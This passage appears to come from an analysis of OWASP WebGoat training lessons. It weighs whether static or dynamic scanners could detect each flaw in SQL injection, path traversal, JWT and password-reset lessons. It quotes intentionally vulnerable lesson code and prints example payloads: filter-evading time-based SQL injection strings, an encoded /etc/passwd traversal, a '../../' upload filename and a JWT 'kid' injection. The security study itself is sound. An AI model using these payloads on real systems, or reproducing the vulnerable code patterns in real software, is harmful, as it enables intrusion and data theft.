http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjectionMitigations.lesson/8\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlOnlyInputValidation.java\n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java\n\n**Lesson:** \n\nThis lesson demonstrates filtering of user input not being sufficient for protecting against SQL injection attacks. This particular case looks to see if the input string contains a space and returns an error if it does. \n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlOnlyInputValidation.java#L48-L52\n\npublic AttackResult attack(@RequestParam(\"userid_sql_only_input_validation\") String userId) {\nif (userId.contains(\" \")) {\n    return failed(this).feedback(\"SqlOnlyInputValidation-failed\").build();\n}\nAttackResult attackResult = lesson6a.injectableQuery(userId);\n...\n\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java#56-67\n\npublic AttackResult injectableQuery(String accountName) {\n    String query = \"\";\n    try (Connection connection = dataSource.getConnection()) {\n        boolean usedUnion = true;\n        query = \"SELECT * FROM user_data WHERE last_name = '\" + accountName + \"'\";\n        //Check if Union is used\n        if (!accountName.matches(\"(?i)(^[^-/*;)]*)(\\\\s*)UNION(.*$)\")) {\n            usedUnion = false;\n        }\n        try (Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                ResultSet.CONCUR_READ_ONLY)) {\n            ResultSet results = statement.executeQuery(query);\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nSAST tools would most likely be flag this as a flaw existing under the `webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java` class. The `SqlOnlyInputValidation.java` file is calling the same method, but the vulnerability exists in `SqlInjectionLesson6a.java`. Where the flaw is reported depends on how the SAST tool was designed. For example if the SAST tool is capable of tracking taint across intra-procedural calls it may flag the call to `lesson6a.injectableQuery(userId)` on line 52. If the SAST tool was designed to only parse the Abstract Syntax Tree (AST) it may only report the flaw in `SqlInjectionLesson6a.java` on line 67.\n\n**DAST Reasoning:**\n\nAny input filtering done on potential attack vectors makes it more difficult for DAST tools to identify exploitable issues. There is a chance some DAST tools would not find the `userid_sql_only_input_validation` parameter vulnerable to SQL Injection.\n\n**Example Attack:**\n- `userid_sql_only_input_validation='%2b(SELECT/**/repeat(char(60),50000000)from/**/information_schema.tables)%2b'`\n\n---\n\n### (A1) Injection > SQL Injection (mitigation) > Input validation alone is not enough!! (Lesson 10)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjectionMitigations.lesson/9\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlOnlyInputValidationOnKeywords.java\n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java\n\n**Lesson:** \n\nThis lesson demonstrates filtering of user input not being sufficient for protecting against SQL Injection attacks. This particular case looks to see if the input string contains `SELECT` or `FROM` keywords and replaces them with empty strings, it additionally checks if the input contains a space and returns an error if it does. \n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlOnlyInputValidationOnKeywords.java#L48-L53\n\npublic AttackResult attack(@RequestParam(\"userid_sql_only_input_validation_on_keywords\") String userId) {\n    userId = userId.toUpperCase().replace(\"FROM\", \"\").replace(\"SELECT\", \"\");\n    if (userId.contains(\" \")) {\n        return failed(this).feedback(\"SqlOnlyInputValidationOnKeywords-failed\").build();\n    }\n    AttackResult attackResult = lesson6a.injectableQuery(userId);\n    ...\n\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java#56-67\n\npublic AttackResult injectableQuery(String accountName) {\n    String query = \"\";\n    try (Connection connection = dataSource.getConnection()) {\n        boolean usedUnion = true;\n        query = \"SELECT * FROM user_data WHERE last_name = '\" + accountName + \"'\";\n        //Check if Union is used\n        if (!accountName.matches(\"(?i)(^[^-/*;)]*)(\\\\s*)UNION(.*$)\")) {\n            usedUnion = false;\n        }\n        try (Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                ResultSet.CONCUR_READ_ONLY)) {\n            ResultSet results = statement.executeQuery(query);\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nSAST tools would most likely flag this as a flaw existing under the `webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java` class. The `SqlOnlyInputValidationOnKeywords.java` file is calling the same method, but the vulnerability exists in `SqlInjectionLesson6a.java`. Where the flaw is reported depends on how the SAST tool was designed. For example if the SAST tool is capable of tracking taint across intra-procedural calls it may flag the call to `lesson6a.injectableQuery(userId)` on line 53. If the SAST tool was designed to only parse the Abstract Syntax Tree (AST) it may only report the flaw in `SqlInjectionLesson6a.java` on line 67.\n\n**DAST Reasoning:**\n\nAny input filtering done on potential attack vectors makes it much more difficult for DAST tools to identify exploitable issues. There is a good chance most DAST tools would not find the `userid_sql_only_input_validation_on_keywords` parameter vulnerable.\n\n**Example Attack:**\n- `userid_sql_only_input_validation_on_keywords='%2b(SELselectECT/**/repeat(char(60),50000000)FRfromOM/**/information_schema.tables)%2b'`\n\n---\n\n### (A1) Injection > SQL Injection (mitigation) > (no title) (Lesson 12)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjectionMitigations.lesson/11\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/Servers.java\n\n**Lesson:** \n\nThis lesson includes a SQL Injection vulnerability in a column field of a SQL query, which can not be specified by a parameter in a parameterized query. As such, it uses a dynamically generated query string with user input for specifying the column name.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/Servers.java#L69-L74\n\n public List<Server> sort(@RequestParam String column) throws Exception {\n    List<Server> servers = new ArrayList<>();\n\n    try (Connection connection = dataSource.getConnection();\n            PreparedStatement preparedStatement = connection.prepareStatement(\"select id, hostname, ip, mac, status, description from servers  where status <> 'out of order' order by \" + column)) {\n        ResultSet rs = preparedStatement.executeQuery();\n        ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nWhile the SQL query is a prepared statement, the column field can not be specified as a `parameter` in a parameterized query. A SAST tool should identify that the query string is concatenated with user input on line 73.\n\n**DAST Reasoning:**\n\nA DAST tool, if it is able to find the `/WebGoat/SqlInjectionMitigations/servers` endpoint, should be able to exploit the column based SQL injection issue.\n\n**Example Attack:**\n- `/WebGoat/SqlInjectionMitigations/servers?column=(select+repeat('a',50000000)+from+information_schema.tables)`\n\n---\n\n### (A1) Injection > Path traversal > Path traversal while uploading files\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/PathTraversal.lesson/1\n\n**Source:** \n - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUpload.java\n - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadBase.java\n\n**Lesson:** \n\nThis lesson's goal is to upload a file to overwrite a system file. It uses a common insecure pattern of using user input to generate a file path and supplying the file contents to create a new file.\n\n```\nwebgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUpload.java#L31-L32\n\npublic AttackResult uploadFileHandler(@RequestParam(\"uploadedFile\") MultipartFile file, @RequestParam(value = \"fullName\", required = false) String fullName) {\n    return super.execute(file, fullName);\n}\n\nwebgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadBase.java#L41-43\n\nvar uploadedFile = new File(uploadDirectory, fullName);\nuploadedFile.createNewFile();\nFileCopyUtils.copy(file.getBytes(), uploadedFile);\n...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nA SAST tool should be able to identify that the `new File` call's second parameter is tainted from the `uploadFileHandler` `fullName` parameter. \n\n**DAST Reasoning:**\n\nDAST tools have difficulties identifying insecure file upload path traversal attacks. As the attack is a two-step process, the tool most likely will not be able to identify where the uploaded file ultimately resides on the file system. The first step is uploading the file, while the second is for identifying where the uploaded file exists and attempting to access it. \n\nIn this lesson there is no way to retrieve a non `.jpg` suffixed file. The `var catPicture = new File(catPicturesDirectory, (id == null ? RandomUtils.nextInt(1, 11) : id) + \".jpg\");` limits what can be retrieved. Additionally, the only way to attempt to access uploaded files is through a completely unrelated web page. A DAST tool would not understand the relationship between the upload endpoint and the retrieval endpoint. \n\nWhile it is possible to attempt null byte attacks if the string contains `path-traversal-secret.jpg` the `FileCopyUtils` method uses `java.io.File.toPath` which disallows null bytes. For example attempting the attack: `/WebGoat/PathTraversal/random-picture?id=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd%00path-traversal-secret.jpg%00` will fail with the error: `java.nio.file.InvalidPathException: Nul character not allowed`.\n\nGiven the above, while it is possible to upload arbitrary files, it is not possible to access them, hence a DAST tool would be unable to identify this as a flaw. A human of course could use various techniques to attempt to overwrite system files, but a DAST tool is not built for such activities. \n\n---\n\n### (A1) Injection > Path traversal > Path traversal while uploading files (lesson 3)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/PathTraversal.lesson/2\n\n**Source:** \n - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadFix.java\n - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadBase.java\n\n**Lesson:** \n\nThis lesson's goal is to upload a file to overwrite a system file. It uses a common insecure pattern of using user input to generate a file path and supply the file contents to create a new file. In this lesson filtering is done on user input, replacing `../` with an empty string.\n\n```\nwebgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadFix.java#L24-L28\n\n    public AttackResult uploadFileHandler(\n            @RequestParam(\"uploadedFileFix\") MultipartFile file,\n            @RequestParam(value = \"fullNameFix\", required = false) String fullName) {\n        return super.execute(file, fullName != null ? fullName.replace(\"../\", \"\") : \"\");\n    }\n\nwebgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadBase.java#L41-43\n\nvar uploadedFile = new File(uploadDirectory, fullName);\nuploadedFile.createNewFile();\nFileCopyUtils.copy(file.getBytes(), uploadedFile);\n```\n\n**Can SAST Find?** \n- Yes\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nA SAST tool should be able to identify that the `new File` call's second parameter is tainted from the `uploadFileHandler` `fullName` parameter. \n\n**DAST Reasoning:**\n\nDAST tools have difficulties identifying insecure file upload path traversal attacks. As the attack is a two-step process, the tool most likely will not be able to identify where the uploaded file ultimately resides on the file system. The first step is uploading the file, while the second is for identifying where the uploaded file exists and attempting to access it. \n\nIn this lesson there is no way to retrieve a non `.jpg` suffixed file. The `var catPicture = new File(catPicturesDirectory, (id == null ? RandomUtils.nextInt(1, 11) : id) + \".jpg\");` limits what can be retrieved. Additionally, the only way to attempt to access uploaded files is through a completely unrelated web page. A DAST tool would not understand the relationship between the upload endpoint and the retrieval endpoint. \n\nWhile it is possible to attempt null byte attacks if the string contains `path-traversal-secret.jpg` the `FileCopyUtils` method uses `java.io.File.toPath` which disallows null bytes. For example attempting the attack: `/WebGoat/PathTraversal/random-picture?id=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd%00path-traversal-secret.jpg%00` will fail with the error: `java.nio.file.InvalidPathException: Nul character not allowed`.\n\nGiven the above, while it is possible to upload arbitrary files, it is not possible to access them, hence a DAST tool would be unable to identify this as a flaw. A human of course could use various techniques to attempt to overwrite system files, but a DAST tool is not built for such activities. \n\n---\n\n### (A1) Injection > Path traversal > Path traversal while uploading files (lesson 4)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/PathTraversal.lesson/3\n\n**Source:** \n - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadRemoveUserInput.java\n - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadBase.java\n\n**Lesson:** \n\nThis lessons goal is to upload a file to overwrite a system file. It uses a common insecure pattern of using user input to generate a file path and supplying the file contents to create a new file. In this lesson the filename is taken from the `MultipartFile.getOriginalFilename()` which is still user input, as it is possible to modify the filename part of a Multipart upload:\n```\nContent-Disposition: form-data; name=\"uploadedFileRemoveUserInput\"; filename=\"../../test.html\"\n```\n\n```\nwebgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadRemoveUserInput.java#L24-L28\n\npublic AttackResult uploadFileHandler(\n        @RequestParam(\"uploadedFileFix\") MultipartFile file,\n        @RequestParam(value = \"fullNameFix\", required = false) String fullName) {\n    return super.execute(file, fullName != null ? fullName.replace(\"../\", \"\") : \"\");\n}\n\nwebgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadBase.java#L41-43\n\nvar uploadedFile = new File(uploadDirectory, fullName);\nuploadedFile.createNewFile();\nFileCopyUtils.copy(file.getBytes(), uploadedFile);\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nA SAST tool should be able to identify that the `new File` call's second parameter is tainted from the uploadFileHandler fullName parameter, which originates from the `MultipartFile.getOriginalFilename()` from `ProfileUploadRemoveUserInput.java`. \n\n**DAST Reasoning:**\n\nDAST tools have difficulties identifying insecure file upload path traversal attacks. As the attack is a two-step process, the tool most likely will not be able to identify where the uploaded file ultimately resides on the file system. The first step is uploading the file, while the second is for identifying where the uploaded file exists and attempting to access it. \n\nIn this lesson there is no way to retrieve a non `.jpg` suffixed file. The `var catPicture = new File(catPicturesDirectory, (id == null ? RandomUtils.nextInt(1, 11) : id) + \".jpg\");` limits what can be retrieved. Additionally, the only way to attempt to access uploaded files is through a completely unrelated web page. A DAST tool would not understand the relationship between the upload endpoint and the retrieval endpoint. \n\nWhile it is possible to attempt null byte attacks if the string contains `path-traversal-secret.jpg` the `FileCopyUtils` method uses `java.io.File.toPath` which disallows null bytes. For example attempting the attack: `/WebGoat/PathTraversal/random-picture?id=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd%00path-traversal-secret.jpg%00` will fail with the error: `java.nio.file.InvalidPathException: Nul character not allowed`.\n\nGiven the above, while it is possible to upload arbitrary files, it is not possible to access them, hence a DAST tool would be unable to identify this as a flaw. A human of course could use various techniques to attempt to overwrite system files, but a DAST tool is not built for such activities. \n\n---\n\n### (A1) Injection > Path traversal > Retrieving other files with a path traversal\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/PathTraversal.lesson/4\n\n**Source:** \n - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadRemoveUserInput.java\n - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadBase.java\n\n**Lesson:** \n\nThis lesson's goal is to retrieve a particular file from the file system. It uses a rather uncommon method of validating the entire query string via `request.getQueryString()` to see if it contains `..` or `/`. While technically the call to `new File` is vulnerable to path traversal attacks, it is not actually an exploitable arbitrary local file inclusion vulnerability. It can only return files which are jpg's, and null-byte attacks are not possible due to calls to FileCopyUtils which validates that the path does not contain null bytes.\n\n```\nwebgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadRemoveUserInput.java#L75-94\n\npublic ResponseEntity<?> getProfilePicture(HttpServletRequest request) {\n    var queryParams = request.getQueryString();\n    if (queryParams != null && (queryParams.contains(\"..\") || queryParams.contains(\"/\"))) {\n        return ResponseEntity.badRequest().body(\"Illegal characters are not allowed in the query params\");\n    }\n    try {\n        var id = request.getParameter(\"id\");\n        var catPicture = new File(catPicturesDirectory, (id == null ? RandomUtils.nextInt(1, 11) : id) + \".jpg\");\n\n        if (catPicture.getName().toLowerCase().contains(\"path-traversal-secret.jpg\")) {\n            return ResponseEntity.ok()\n                    .contentType(MediaType.parseMediaType(MediaType.IMAGE_JPEG_VALUE))\n                    .body(FileCopyUtils.copyToByteArray(catPicture));\n        }\n        if (catPicture.exists()) {\n            return ResponseEntity.ok()\n                    .contentType(MediaType.parseMediaType(MediaType.IMAGE_JPEG_VALUE))\n                    .location(new URI(\"/PathTraversal/random-picture?id=\" + catPicture.getName()))\n                    .body(Base64.getEncoder().encode(FileCopyUtils.copyToByteArray(catPicture)));\n        }\n    ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nA SAST tool should be able to identify that the `new File` call's second parameter is tainted. However, the File object is only used in calls to either `getName()` or `FileCopyUtils` which validates that the filename does not contain null bytes. So while it's technically vulnerable, it is not exploitable for arbitrary file access.\n\n**DAST Reasoning:**\n\nDAST tools have difficulties identifying insecure file upload path traversal attacks. As the attack is a two-step process, the tool most likely will not be able to identify where the uploaded file ultimately resides on the file system. The first step is uploading the file, while the second is for identifying where the uploaded file exists and attempting to access it. \n\nIn this lesson there is no way to retrieve a non `.jpg` suffixed file. The `var catPicture = new File(catPicturesDirectory, (id == null ? RandomUtils.nextInt(1, 11) : id) + \".jpg\");` limits what can be retrieved. \n\nWhile it is possible to attempt null byte attacks if the string contains `path-traversal-secret.jpg` the `FileCopyUtils` method uses `java.io.File.toPath`, which disallows null bytes. For example attempting the attack: `/WebGoat/PathTraversal/random-picture?id=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd%00path-traversal-secret.jpg%00` will fail with the error: `java.nio.file.InvalidPathException: Nul character not allowed`.\n\nGiven the above, a DAST tool would most likely be unable to identify this as a flaw. Most DAST tools use hardcoded filepaths such as `/etc/passwd` or `c:/windows/win.ini` when attempting to access arbitrary files.\n\n---\n\n</details>\n\n## (A2) Broken Authentication\n\n---\n<details>\n<summary markdown=\"span\">Findings</summary>\n\n### (A2) Broken Authentication > Authentication Bypasses > 2FA Password Reset\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/AuthBypass.lesson/1\n\n**Source:** \n- webgoat-lessons/auth-bypass/src/main/java/org/owasp/webgoat/auth_bypass/AuthBypass.java\n- webgoat-lessons/auth-bypass/src/main/java/org/owasp/webgoat/auth_bypass/AccountVerificationHelper.java\n\n**Lesson:**\nThis lesson is for bypassing 2FA password reset by removing POST parameters.\n\n```\nwebgoat-lessons/auth-bypass/src/main/java/org/owasp/webgoat/auth_bypass/AccountVerificationHelper.java#L69-86\n\npublic boolean verifyAccount(Integer userId, HashMap<String, String> submittedQuestions) {\n    //short circuit if no questions are submitted\n    if (submittedQuestions.entrySet().size() != secQuestionStore.get(verifyUserId).size()) {\n        return false;\n    }\n\n    if (submittedQuestions.containsKey(\"secQuestion0\") && !submittedQuestions.get(\"secQuestion0\").equals(secQuestionStore.get(verifyUserId).get(\"secQuestion0\"))) {\n        return false;\n    }\n\n    if (submittedQuestions.containsKey(\"secQuestion1\") && !submittedQuestions.get(\"secQuestion1\").equals(secQuestionStore.get(verifyUserId).get(\"secQuestion1\"))) {\n        return false;\n    }\n\n    // else\n    return true;\n\n}\n\n```\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThis lesson is a hypothetical case where it 'fails open.' In other words by not submitting the validated parameters, the checks are never executed and the verifyAccount method returns true.\n\nSAST tools can not determine 'reasoning' of a methods purpose. This method is not wired into any obvious framework or method that would hint for the SAST tool to know it's for authentication purposes.\n\n**DAST Reasoning:**\n\nMuch like above, this is a hypothetical case. There is no context around the lesson that could assist a DAST tool in knowing it's testing a password reset function. \n\n---\n\n### (A2) Broken Authentication > JWT tokens > JWT signing\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/JWT.lesson/3\n\n**Source:** \n- webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTVotesEndpoint.java\n\n**Lesson:**\nThis lesson is for modifying JWT claims to impersonate or elevate privileges. It is a multi-step process. First to get a JWT value you need to use the fake 'login' `/JWT/votings/login?user=` endpoint, which sets it in an HTTP cookie. Next, the goal is to bypass authorization checks and reset the votes by issuing a POST request to the `/JWT/votings` with a modified token. The modifications require setting the alg to None and changing the admin parameter to true. \n\n```\nwebgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTVotesEndpoint.java#L163-165\n\nJwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);\nClaims claims = (Claims) jwt.getBody();\nboolean isAdmin = Boolean.valueOf((String) claims.get(\"admin\"));\n```\n\n**Can SAST Find?** \n- Probable\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nA SAST tool would need to be used in conjunction with a dependency scanning solution that looked for vulnerable libraries. This vulnerability exists due to the dependency on `io.jsonwebtoken` version 0.7.0. Using static analysis alone would be difficult for a SAST tool to identify that the `setSigningKey` would be ignored if the algorithm was set to `None`. Additionally, authorization issues are usually difficult for SAST to identify in terms of simple conditional statements.  \n\n**DAST Reasoning:**\n\nVulnerabilities that require multiple steps are usually difficult for DAST tools to identify. If the JWT was used in an authentication endpoint, it may be possible for a DAST tool to identify a vulnerability. It would attempt to modify the JWT and determine if it was able to successfully login. A DAST tool would be unable to determine that the secondary `/JWT/votings` endpoint suffers from verification flaw.\n\n---\n\n### (A2) Broken Authentication > JWT tokens > JWT cracking\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/JWT.lesson/4\n\n**Source:** \n- webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTSecretKeyEndpoint.java\n\n**Lesson:**\nThis lesson is for cracking a JWT value which uses an insecure cryptographic algorithm. `HS256` JWT values include a signature which can generated and compared by brute forcing tools. \n\n```\nwebgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTSecretKeyEndpoint.java#L57-68\n\npublic String getSecretToken() {\n    return Jwts.builder()\n            .setIssuer(\"WebGoat Token Builder\")\n            .setAudience(\"webgoat.org\")\n            .setIssuedAt(Calendar.getInstance().getTime())\n            .setExpiration(Date.from(Instant.now().plusSeconds(60)))\n            .setSubject(\"tom@webgoat.org\")\n            .claim(\"username\", \"Tom\")\n            .claim(\"Email\", \"tom@webgoat.org\")\n            .claim(\"Role\", new String[]{\"Manager\", \"Project Administrator\"})\n            .signWith(SignatureAlgorithm.HS256, JWT_SECRET).compact();\n    }\n\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Probable\n\n**SAST Reasoning:**\n\nA SAST tool that included this particular `Jwts` library signatures would be able to identify that the `signWith` method is a potential sink and the first parameter determines if a vulnerability exists, depending on the argument's value.\n\n**DAST Reasoning:**\n\nA DAST tool with builtin JWT cracking functionality would be able to extract JWT values encountered during crawling and attempt to brute force the signature. Note the ability to actually determine vulnerability would be dependent on the weakness of the JWT key used for signing.\n\n---\n\n### (A2) Broken Authentication > JWT tokens > Refreshing a token (incomplete lesson)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/JWT.lesson/6\n\n**Source:** \n- webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTRefreshEndpoint.java\n\n**Lesson:**\n\nThis lesson as of v8.1.0 is still incomplete, as the lesson page details do not give enough information to solve. Only by looking at the source and getting the username/password can one solve this challenge. The underlying flaw is that the application does not properly associate refresh tokens with access tokens, allowing one who has captured a leaked refresh token to update someone else's access token.\n\n```\nwebgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTRefreshEndpoint.java#L116-122\n\ntry {\n    Jwt<Header, Claims> jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace(\"Bearer \", \"\"));\n    user = (String) jwt.getBody().get(\"user\");\n    refreshToken = (String) json.get(\"refresh_token\");\n} catch (ExpiredJwtException e) {\n    user = (String) e.getClaims().get(\"user\");\n    refreshToken = (String) json.get(\"refresh_token\");\n}\n...\n```\n\n**Can SAST Find?** \n- Improbable\n\n**Can DAST Find?**\n- Probable\n\n**SAST Reasoning:**\n\nA SAST tool would not be able to reason the logic behind requiring the access token and refresh token to be linked unless this logic was built into the JWT library. It could be possible with a very strictly defined set of a rule sets to find this flaw, but it is highly improbable. \n\n**DAST Reasoning:**\n\nA DAST tool could be configured to contain two user accounts and authorize to get both tokens. It could then attempt to switch one user's refresh token with the secondary user and determine if the server responded with a new access token. \n\n---\n\n### (A2) Broken Authentication > JWT tokens > Final challenges\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/JWT.lesson/7\n\n**Source:** \n- webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTFinalEndpoint.java\n\n**Lesson:**\nThis lesson is a highly improbable series of events that could lead to overwriting a signing key stored in a database. The underlying vulnerability here is actually SQL injection that is exploitable by modifying the `kid` JWT field. \n\n```\nL162-176\nJwt jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() {\n    @Override\n    public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {\n        final String kid = (String) header.get(\"kid\");\n        try (var connection = dataSource.getConnection()) {\n            ResultSet rs = connection.createStatement().executeQuery(\"SELECT key FROM jwt_keys WHERE id = '\" + kid + \"'\");\n            while (rs.next()) {\n                return TextCodec.BASE64.decode(rs.getString(1));\n            }\n        } catch (SQLException e) {\n            errorMessage[0] = e.getMessage();\n        }\n        return null;\n    }\n}).parseClaimsJws(token);\n...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Probable\n\n**SAST Reasoning:**\n\nA SAST tool would flag this particular issue as a SQL injection flaw. SAST tools with taint tracking capabilities, or one that has added signatures for sources and sinks of this JWT library, could follow that the token was decoded and the `kid` came from user input. It would then identify on line 167 user supplied input was used in generation of a dynamically generated SQL query. SAST tools which take a more grep like approach, would most likely flag line 167 as the vulnerability since string concatenation used in a SQL query.\n\n**DAST Reasoning:**\n\nA DAST tool could be configured to decode JWT claims and attempt SQL injection in the various fields.\n\n**Example Attack:**\n- Decode JWT\n- Modify the JWT header\n```\n{\n  \"typ\": \"JWT\",\n  \"kid\": \"'+(select repeat('a',50000000) from INFORMATION_SCHEMA.tables)+'\",\n  \"alg\": \"HS256\"\n}\n```\n- Re-encode the token\n- Send request during a timing attack verification phase.\n\n---\n\n### (A2) Broken Authentication > Password reset > Security questions\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/PasswordReset.lesson/3\n\n**Source:** \n- webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/QuestionsAssignment.java\n\n**Lesson:**\n\nThis lesson is to demonstrate the ability of guessing or brute forcing security questions. The users and security questions are hardcoded. The goal is to guess one of them.\n\n```\nwebgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/QuestionsAssignment.java#L45-51\n\nstatic {\n    COLORS.put(\"admin\", \"green\");\n    COLORS.put(\"jerry\", \"orange\");\n    ...\n}\n\nwebgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/QuestionsAssignment.java#L63-68\n\nString validAnswer = COLORS.get(username.toLowerCase());\nif (validAnswer == null) {\n    return failed(this).feedback(\"password-questions-unknown-user\").feedbackArgs(username).build();\n} else if (validAnswer.equals(securityQuestion)) {\n    return success(this).build();\n}\n```\n\n**Can SAST Find?**\n- Impossible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nA SAST tool would be unable to determine that this lesson has any relation to login logic as it's doing a simple existence check of inputs against a map value.\n\n**DAST Reasoning:**\n\nA DAST tool would need to be configured to treat this form as a login form for it to detect any potential discrepancy between a valid and invalid security question answer.\n\n---\n\n### (A2) Broken Authentication > Password reset > Creating the password reset link\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/PasswordReset.lesson/5\n\n**Source:** \n- webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/ResetLinkAssignmentForgotPassword.java\n- webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/ResetLinkAssignment.java\n\n**Lesson:**\n\nThis lesson is to demonstrate incorrect usage of user supplied data (taken from the host header) in constructing a link. The goal is to abuse this to get a hypothetical user to click on a password reset link that points to the wrong host.\n\n```\nwebgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/ResetLinkAssignmentForgotPassword.java#L60-74\n\nString resetLink = UUID.randomUUID().toString();\nResetLinkAssignment.resetLinks.add(resetLink);\nString host = request.getHeader(\"host\");\nif (hasText(email)) {\n    if (email.equals(ResetLinkAssignment.TOM_EMAIL) && (host.contains(\"9090\")||host.contains(\"webwolf\"))) { //User indeed changed the host header.\n        ResetLinkAssignment.userToTomResetLink.put(getWebSession().getUserName(), resetLink);\n        fakeClickingLinkEmail(host, resetLink);\n    } else {\n        try {\n            sendMailToUser(email, host, resetLink);\n        } catch (Exception e) {\n            return failed(this).output(\"E-mail can't be send. please try again.\").build();\n        }\n    }\n}\n```\n\n**Can SAST Find?** \n- Improbable\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThis is a hypothetical issue that most likely would not occur in the wild. There is no real way of a SAST tool to know that the extracted host header was incorrectly used in constructing a link.\n\n**DAST Reasoning:**\n\nA DAST tool would first need to be configured to treat this form 